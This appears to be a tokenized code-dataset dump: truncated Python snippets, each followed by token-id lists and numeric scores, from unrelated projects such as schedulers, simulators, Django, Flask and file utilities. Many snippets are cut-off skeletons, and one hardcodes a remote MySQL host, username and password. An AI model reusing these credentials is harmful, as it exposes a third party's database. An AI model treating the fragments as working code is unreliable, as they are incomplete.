from process.domain.aps.ApSchedulerEvent import ApSchedulerEvent from process.domain.aps.ApSchedulerJob import ApSchedulerJob from process.domain.aps.ApSchedulerJobEvent import ApSchedulerJobEvent
[ 6738, 1429, 13, 27830, 13, 1686, 13, 25189, 50, 1740, 18173, 9237, 1330, 5949, 50, 1740, 18173, 9237, 198, 6738, 1429, 13, 27830, 13, 1686, 13, 25189, 50, 1740, 18173, 33308, 1330, 5949, 50, 1740, 18173, 33308, 198, 6738, 1429, 13, 27...
3.338983
59
r"""Generate the physics of a hypothetical 2-D spherical world, and then generate seismic events and detections. Based on the codebase of: Nimar Arora https://github.com/nimar/seismic-2d/blob/master/generate.py """ import hypothesis import numpy as np import torch from hypothesis.simulation import Simulator as BaseS...
[ 81, 37811, 8645, 378, 262, 11887, 286, 257, 25345, 362, 12, 35, 43180, 995, 11, 290, 788, 7716, 198, 325, 1042, 291, 2995, 290, 4886, 507, 13, 198, 198, 15001, 319, 262, 2438, 8692, 286, 25, 27168, 283, 943, 5799, 3740, 1378, 12567,...
3.484211
95
#!/usr/bin/python3 from random import randint lst = [1, 4, 6, 2, 7, 8, 9, 10, 4, 6, 1] print(lst) ########## Recherche d'un element ########### print("Looking for 6:") print(search_truth(6, lst)) print(search_id(6, lst)) print(search_pos(6, lst)) print(search_s(6, lst)) ############# Recherche d'un mot ############...
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 198, 6738, 4738, 1330, 43720, 600, 198, 198, 75, 301, 796, 685, 16, 11, 604, 11, 718, 11, 362, 11, 767, 11, 807, 11, 860, 11, 838, 11, 604, 11, 718, 11, 352, 60, 198, 4798, 7, 75, 30...
2.392308
260
############################################################################## # # Copyright (c) 2008 Zope Foundation and Contributors. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS I...
[ 29113, 29113, 7804, 4242, 2235, 198, 2, 198, 2, 15069, 357, 66, 8, 3648, 1168, 3008, 5693, 290, 25767, 669, 13, 198, 2, 198, 2, 770, 3788, 318, 2426, 284, 262, 8617, 286, 262, 1168, 3008, 5094, 13789, 11, 198, 2, 10628, 362, 13, ...
3.834437
302
import os, sys help_msg = """ Usage: python remove_file_by_path.py list_file Note: 1. list_file contains a full file path list, such as: /sa/sample/normal/file_1 /sa/sample/normal/file_2 ... /sa/sample/normal/file_n """ if len(sys.argv) != 2: print help_msg exit(-1) with open(sys.argv[1], 'r') as fh: ...
[ 11748, 28686, 11, 25064, 198, 198, 16794, 62, 19662, 796, 37227, 198, 28350, 25, 198, 197, 29412, 4781, 62, 7753, 62, 1525, 62, 6978, 13, 9078, 1351, 62, 7753, 198, 198, 6425, 25, 198, 197, 16, 13, 1351, 62, 7753, 4909, 257, 1336, ...
2.3
210
# Generated by Django 2.2.10 on 2020-03-14 10:35 from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 362, 13, 17, 13, 940, 319, 12131, 12, 3070, 12, 1415, 838, 25, 2327, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
2.875
32
#!/usr/bin/env python3 import sys, calendar, datetime, time from ii_functions import * args=sys.argv[1:] if len(args) < 2: print("Usage: archive.py echoarea YYYY.MM.DD") quit() date = args[1].split(".") date = calendar.timegm(datetime.date(int(date[0]), int(date[1]), int(date[2])).timetuple()) echoarea = getMsgL...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 25064, 11, 11845, 11, 4818, 8079, 11, 640, 198, 6738, 21065, 62, 12543, 2733, 1330, 1635, 198, 198, 22046, 28, 17597, 13, 853, 85, 58, 16, 47715, 198, 198, 361, 18896...
2.205298
453
#!/usr/bin/python3 import os import logging import json from datetime import datetime import requests class FileNotFound(Exception): '''Exception class for file checking''' class Model: '''Class for managing requests''' def __init__(self, name): '''Constructor''' logging.info('init()') ...
[ 2, 48443, 14629, 14, 8800, 14, 29412, 18, 198, 198, 11748, 28686, 198, 11748, 18931, 198, 11748, 33918, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 11748, 7007, 628, 198, 4871, 9220, 3673, 21077, 7, 16922, 2599, 198, 220, 220, 220, ...
2.286842
760
from django_rest_admin.register import rest_admin from .models import TextContent rest_admin.register(TextContent)
[ 6738, 42625, 14208, 62, 2118, 62, 28482, 13, 30238, 1330, 1334, 62, 28482, 198, 6738, 764, 27530, 1330, 8255, 19746, 198, 198, 2118, 62, 28482, 13, 30238, 7, 8206, 19746, 8, 198 ]
3.625
32
# # Copyright (c) 2016 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 # from django.utils.translation import ugettext_lazy as _ from horizon import tabs from starlingx_dashboard.dashboards.admin.providernets \ import tabs as project_tabs
[ 2, 198, 2, 15069, 357, 66, 8, 1584, 3086, 5866, 11998, 11, 3457, 13, 198, 2, 198, 2, 30628, 55, 12, 34156, 12, 33234, 7483, 25, 24843, 12, 17, 13, 15, 198, 2, 198, 198, 6738, 42625, 14208, 13, 26791, 13, 41519, 1330, 334, 1136, ...
2.966292
89
import os USBFile = open('test.txt.', 'r') i = 0 for line1 in USBFile: i += 1 for line
[ 11748, 28686, 198, 198, 27155, 8979, 796, 1280, 10786, 9288, 13, 14116, 2637, 11, 705, 81, 11537, 198, 198, 72, 796, 657, 198, 198, 1640, 1627, 16, 287, 8450, 8979, 25, 198, 220, 220, 220, 1312, 15853, 352, 628, 220, 220, 220, 329, ...
2.227273
44
from django.http import HttpResponse from django.http import Http404 from dojango.decorators import json_response from django.utils.translation import ugettext as _ from datable.core import formats from datetime import datetime from urllib.parse import urlencode class Table(object): """A table, which may be prese...
[ 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 26429, 198, 6738, 466, 73, 14208, 13, 12501, 273, 2024, 1330, 33918, 62, 26209, 198, 6738, 42625, 14208, 13, 26791, 13, 41519, 1...
2.92437
357
from .vector_math import * # from quicktracer import trace # Note: "score" in this file is not scoring a goal, but an arbitrary reward class PosVelScorer(Scorer): """docstring for PosVel"""
[ 6738, 764, 31364, 62, 11018, 1330, 1635, 198, 2, 422, 2068, 2213, 11736, 1330, 12854, 198, 198, 2, 5740, 25, 366, 26675, 1, 287, 428, 2393, 318, 407, 9689, 257, 3061, 11, 475, 281, 14977, 6721, 198, 198, 4871, 18574, 46261, 3351, 11...
3.322034
59
import pytest from rosny.state import CommonState @pytest.fixture(scope='function')
[ 11748, 12972, 9288, 198, 6738, 686, 82, 3281, 13, 5219, 1330, 8070, 9012, 628, 198, 31, 9078, 9288, 13, 69, 9602, 7, 29982, 11639, 8818, 11537, 628 ]
3.222222
27
from mtools.mplotqueries.plottypes.base_type import BasePlotType import argparse import types import re import numpy as np try: from matplotlib.dates import date2num, num2date except ImportError: raise ImportError("Can't import matplotlib. See https://github.com/rueckstiess/mtools/blob/master/INSTALL.md for \ ...
[ 6738, 285, 31391, 13, 76, 29487, 421, 10640, 13, 29487, 19199, 13, 8692, 62, 4906, 1330, 7308, 43328, 6030, 198, 11748, 1822, 29572, 198, 11748, 3858, 198, 11748, 302, 198, 11748, 299, 32152, 355, 45941, 198, 198, 28311, 25, 198, 220, ...
2.738589
723
#peca um ano e diga se o ano é bisexto from datetime import date ano = int(input('Digite um ano: ')) resto_quatro = ano % 4 resto_cem = ano % 100 if ano == 0: ano = date.today().year if resto_quatro == 0 and resto_cem > 0: print('Ano {} é bisexto'.format(ano)) else: print('{} Não é bisexto'.format(ano))
[ 2, 431, 6888, 23781, 281, 78, 304, 3100, 64, 384, 267, 281, 78, 38251, 275, 786, 742, 78, 198, 6738, 220, 4818, 8079, 1330, 3128, 198, 5733, 796, 493, 7, 15414, 10786, 19511, 578, 23781, 281, 78, 25, 705, 4008, 198, 198, 2118, 78,...
2.248227
141
from django.contrib.auth.decorators import login_required from django.core.checks import messages from django.http import HttpResponseRedirect from django.shortcuts import get_object_or_404 from pbal.forms import ( PbalLibraryForm, PbalLibrarySampleDetailInlineFormset, PbalLibraryConstructionInfoInlineForm...
[ 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 12501, 273, 2024, 1330, 17594, 62, 35827, 198, 6738, 42625, 14208, 13, 7295, 13, 42116, 1330, 6218, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 7738, 1060, 198, 6738, 426...
3.183801
321
# Copyright 2021 MosaicML. All Rights Reserved. from composer.models.classify_mnist.mnist_hparams import MnistClassifierHparams as MnistClassifierHparams from composer.models.classify_mnist.model import MNIST_Classifier as MNIST_Classifier _task = 'Image Classification' _dataset = 'MNIST' _name = 'SimpleConvNet' _qua...
[ 2, 15069, 33448, 5826, 18452, 5805, 13, 1439, 6923, 33876, 13, 198, 198, 6738, 26777, 13, 27530, 13, 4871, 1958, 62, 10295, 396, 13, 10295, 396, 62, 71, 37266, 1330, 36030, 396, 9487, 7483, 39, 37266, 355, 36030, 396, 9487, 7483, 39, ...
2.933824
136
import os from flask import Flask from flask import request from flask import render_template from flask import send_from_directory import db import abstractDriver import messageAnnouncer from api import dbAPI from story import Story from api import adminAPI from api import streamAPI from api import scrapeAPI from dash...
[ 11748, 28686, 198, 6738, 42903, 1330, 46947, 198, 6738, 42903, 1330, 2581, 198, 6738, 42903, 1330, 8543, 62, 28243, 198, 6738, 42903, 1330, 3758, 62, 6738, 62, 34945, 198, 11748, 20613, 198, 11748, 12531, 32103, 198, 11748, 3275, 18858, 9...
2.848341
422
'''Tests for pymica.multiregression.py ''' import unittest from pymica.multiregression import MultiRegression, MultiRegressionSigma
[ 7061, 6, 51, 3558, 329, 279, 4948, 3970, 13, 16680, 557, 32383, 13, 9078, 198, 7061, 6, 198, 11748, 555, 715, 395, 198, 198, 6738, 279, 4948, 3970, 13, 16680, 557, 32383, 1330, 15237, 8081, 2234, 11, 15237, 8081, 2234, 50, 13495, 62...
3.116279
43
"""Add user settings""" from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '2' down_revision = '1' branch_labels = None depends_on = None
[ 37811, 4550, 2836, 6460, 37811, 198, 6738, 31341, 2022, 291, 1330, 1034, 198, 11748, 44161, 282, 26599, 355, 473, 628, 198, 2, 18440, 42814, 11, 973, 416, 9300, 2022, 291, 13, 198, 260, 10178, 796, 705, 17, 6, 198, 2902, 62, 260, 10...
2.96875
64
""" Test job utils. """ from __future__ import absolute_import, division, print_function, unicode_literals import unittest from nose.tools import assert_equals, assert_raises assert_equals.__self__.maxDiff = None from pygenie.jobs.utils import arg_list class TestArgList(unittest.TestCase): """Test pygeni...
[ 37811, 198, 14402, 1693, 3384, 4487, 13, 198, 37811, 628, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 7297, 11, 3601, 62, 8818, 11, 28000, 1098, 62, 17201, 874, 198, 198, 11748, 555, 715, 395, 198, 198, 6738, 9686, 13, ...
2.038835
824
#!/usr/bin/env python #coding: utf-8 #from __future__ import unicode_literals from kasaya.conf import settings #from gevent import socket from kasaya.core.protocol import Serializer, messages from kasaya.core.lib import LOG #from kasaya.core.exceptions import NotOurMessage from kasaya.core.events import emit #import tr...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 66, 7656, 25, 3384, 69, 12, 23, 198, 2, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 6738, 479, 292, 11729, 13, 10414, 1330, 6460, 198, 2, 6738, 4903, 1151, ...
3.644991
569
""" file_cache_manager.py - Manage a local cache of files synchronized through S3 Copyright (c) 2020 by Thomas J. Daley, J.D. """ import boto3 from boto3.s3.transfer import TransferConfig from botocore.exceptions import ClientError import os from dotenv import load_dotenv from util.logger import get_logger load_dote...
[ 37811, 198, 7753, 62, 23870, 62, 37153, 13, 9078, 532, 1869, 496, 257, 1957, 12940, 286, 3696, 47192, 832, 311, 18, 198, 198, 15269, 357, 66, 8, 12131, 416, 5658, 449, 13, 360, 16730, 11, 449, 13, 35, 13, 198, 37811, 198, 11748, 2...
2.624476
1,193
# # Depends # Copyright (C) 2014 by Andrew Gardner & Jonas Unger. All rights reserved. # BSD license (LICENSE.txt for details). # import math from PySide import QtCore, QtGui import node import undo_commands """ A collection of QT graphics widgets that displays and allows the user to manipulate a dependency grap...
[ 2, 198, 2, 2129, 2412, 198, 2, 15069, 357, 34, 8, 1946, 416, 6858, 27911, 1222, 40458, 44904, 263, 13, 220, 1439, 2489, 10395, 13, 198, 2, 347, 10305, 5964, 357, 43, 2149, 24290, 13, 14116, 329, 3307, 737, 198, 2, 198, 198, 11748,...
2.268556
17,218
######## Snakemake header ######## import sys sys.path.append( "/home/cmb-panasas2/skchoudh/software_frozen/anaconda27/envs/riboraptor/lib/python3.5/site-packages" ) import pickle snakemake = pickle.loads( b'\x80\x03csnakemake.script\nSnakemake\nq\x00)\x81q\x01}q\x02(X\t\x00\x00\x00resourcesq\x03csnakemake.io\n...
[ 7804, 16705, 15883, 13639, 46424, 21017, 198, 11748, 25064, 198, 17597, 13, 6978, 13, 33295, 7, 198, 220, 220, 220, 12813, 11195, 14, 66, 2022, 12, 6839, 292, 292, 17, 14, 8135, 354, 2778, 71, 14, 43776, 62, 69, 42005, 14, 272, 330,...
1.701839
1,033
# maxLevel : keeps track of maximum # level seen so far. # res : Value of deepest node so far. # level : Level of root # Returns value of deepest node root = Node('a') root.left = Node('b') root.left.left = Node('d') root.right = Node('c') print(deepestNode(root)) # (d, 3)
[ 628, 198, 2, 3509, 4971, 1058, 7622, 2610, 286, 5415, 220, 220, 198, 2, 1241, 1775, 523, 1290, 13, 220, 220, 198, 2, 581, 1058, 11052, 286, 25420, 10139, 523, 1290, 13, 220, 220, 198, 2, 1241, 1058, 5684, 286, 6808, 220, 220, 198,...
2.550847
118
# Generated by Django 3.1.1 on 2020-10-26 14:06 from django.db import migrations, models import django.db.models.deletion
[ 2, 2980, 515, 416, 37770, 513, 13, 16, 13, 16, 319, 12131, 12, 940, 12, 2075, 1478, 25, 3312, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14208, 13, 9945, 13, 27530, 13, 2934, 1616, 295, ...
2.818182
44
import queue #BFSで街を色分け N, Q = map(int, input().split()) a = [[] for i in range(N + 1)] for i in range(N - 1): st, ed = map(int, input().split()) a[st].append(ed) a[ed].append(st) que = queue.Queue() color = [-1] * (N + 1) color[1] = 0 que.put(1) while not que.empty(): now = que.get() for i in a...
[ 11748, 16834, 198, 198, 2, 33, 10652, 30640, 26193, 245, 31758, 164, 231, 110, 26344, 228, 2515, 239, 198, 45, 11, 1195, 796, 3975, 7, 600, 11, 5128, 22446, 35312, 28955, 198, 64, 796, 16410, 60, 329, 1312, 287, 2837, 7, 45, 1343, ...
1.951049
286
import serial import os import mysql.connector import time mydb = mysql.connector.connect( host="185.104.29.34", user="schoolproject_laravel", passwd="kvLXsjsPS", database="schoolproject_laravel" ) port = serial.Serial("/dev/ttyUSB0", 9600, timeout=3.0) mycursor = mydb.cursor() while True: mycur...
[ 11748, 11389, 198, 11748, 28686, 198, 11748, 48761, 13, 8443, 273, 198, 11748, 640, 198, 198, 1820, 9945, 796, 48761, 13, 8443, 273, 13, 8443, 7, 198, 220, 220, 220, 2583, 2625, 21652, 13, 13464, 13, 1959, 13, 2682, 1600, 198, 220, ...
2.099723
361
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Test: - MyClass.Items() - MyClass.Keys() - MyClass.Values() - MyClass.Subclasses() - my_class.items() - my_class.keys() - my_class.values() - my_class.subclass() """ import time import pytest from constant2 import Constant from constant2._constant2 import is_same_dic...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 37811, 198, 14402, 25, 198, 198, 12, 2011, 9487, 13, 23022, 3419, 198, 12, 2011, 9487, 13, 40729, 3419, 198, 12,...
2.513228
189
# Copyright 2015 CloudShare Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in ...
[ 2, 15069, 1853, 10130, 11649, 3457, 13, 201, 198, 201, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 201, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, ...
3.615854
164
from django.db import models
[ 6738, 42625, 14208, 13, 9945, 1330, 4981, 198 ]
3.625
8
import re import requests def get(url: str) -> dict: """ title、videos """ data = {} headers = { "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" } re_title = r'<title>(.*?)</title>' re_video = r'<video cl...
[ 198, 11748, 302, 198, 11748, 7007, 628, 198, 4299, 651, 7, 6371, 25, 965, 8, 4613, 8633, 25, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3670, 23513, 32861, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1366, 796, 23884, 198, ...
2.013953
430
import numpy as np import cv2, sys, os from datetime import datetime from OrientedGradientsComputer import OrientedGradientsComputer from GrayHistogramComputer import GrayHistogramComputer from DeCAF7Computer import DeCAF7Computer from ColorLayoutComputer import ColorLayoutComputer ''' This scripts computes the time i...
[ 11748, 299, 32152, 355, 45941, 198, 11748, 269, 85, 17, 11, 25064, 11, 28686, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 17954, 4714, 42731, 2334, 34556, 1330, 17954, 4714, 42731, 2334, 34556, 198, 6738, 12723, 13749, 21857, 3455...
2.824042
1,148
import unittest import matplotlib.pyplot as plt import numpy as np from vaws.model.curve import vulnerability_weibull, vulnerability_weibull_pdf def single_exponential_given_V(beta_, alpha_, x_arr): """ compute Args: beta_: parameter for vulnerability curve alpha_: parameter for vulnerabi...
[ 11748, 555, 715, 395, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 299, 32152, 355, 45941, 198, 198, 6738, 410, 8356, 13, 19849, 13, 22019, 303, 1330, 15131, 62, 732, 571, 724, 11, 15131, 62, 732, 571, 7...
2.592453
265
#!/usr/bin/env python # -*- encoding: utf-8 -*- # @Author : Ren Qiang # ACtion2 互补DNA 其中,A与T互补,C与G互补编写函数DNA_strand(dna) # %% 自己的做法 DNA_strand("ATTGC") DNA_strand("AAAA") DNA_strand("ATCGT") # %% 借鉴优秀案例1 Dict = {'A': 'T', 'T': 'A', 'C': 'G', 'G': 'C'} DNA_input = ['ATTGC', 'AAAA', 'ATCGT'] print('优秀案例1:') resul...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 21004, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 2488, 13838, 220, 1058, 220, 220, 7152, 1195, 15483, 198, 2, 7125, 5378, 17, 220, 12859, 240, 26193, 98, 28886, 10...
1.465875
337
# Generated by Django 3.1.2 on 2020-10-25 01:03 from django.db import migrations, models import django.db.models.deletion import uuid
[ 2, 2980, 515, 416, 37770, 513, 13, 16, 13, 17, 319, 12131, 12, 940, 12, 1495, 5534, 25, 3070, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14208, 13, 9945, 13, 27530, 13, 2934, 1616, 295, ...
2.833333
48
# Generated by Django 3.0.8 on 2020-09-21 09:26 from django.db import migrations
[ 2, 2980, 515, 416, 37770, 513, 13, 15, 13, 23, 319, 12131, 12, 2931, 12, 2481, 7769, 25, 2075, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 628 ]
2.766667
30
import skimage import numpy as np from radon_server.radon_thread import RadonTransformThread
[ 11748, 1341, 9060, 198, 11748, 299, 32152, 355, 45941, 198, 6738, 2511, 261, 62, 15388, 13, 6335, 261, 62, 16663, 1330, 5325, 261, 41762, 16818, 628 ]
3.615385
26
from datetime import timedelta from idact.detail.deployment_sync.deployment_definitions import \ DeploymentDefinitions from idact.detail.helper.stage_info import stage_debug from idact.detail.helper.utc_now import utc_now from idact.detail.log.get_logger import get_logger DISCARD_DELTA_SECONDS = 30 """Discard dep...
[ 6738, 4818, 8079, 1330, 28805, 12514, 198, 198, 6738, 4686, 529, 13, 49170, 13, 2934, 1420, 434, 62, 27261, 13, 2934, 1420, 434, 62, 4299, 50101, 1330, 3467, 198, 220, 220, 220, 34706, 434, 7469, 50101, 198, 6738, 4686, 529, 13, 49170...
2.252141
1,051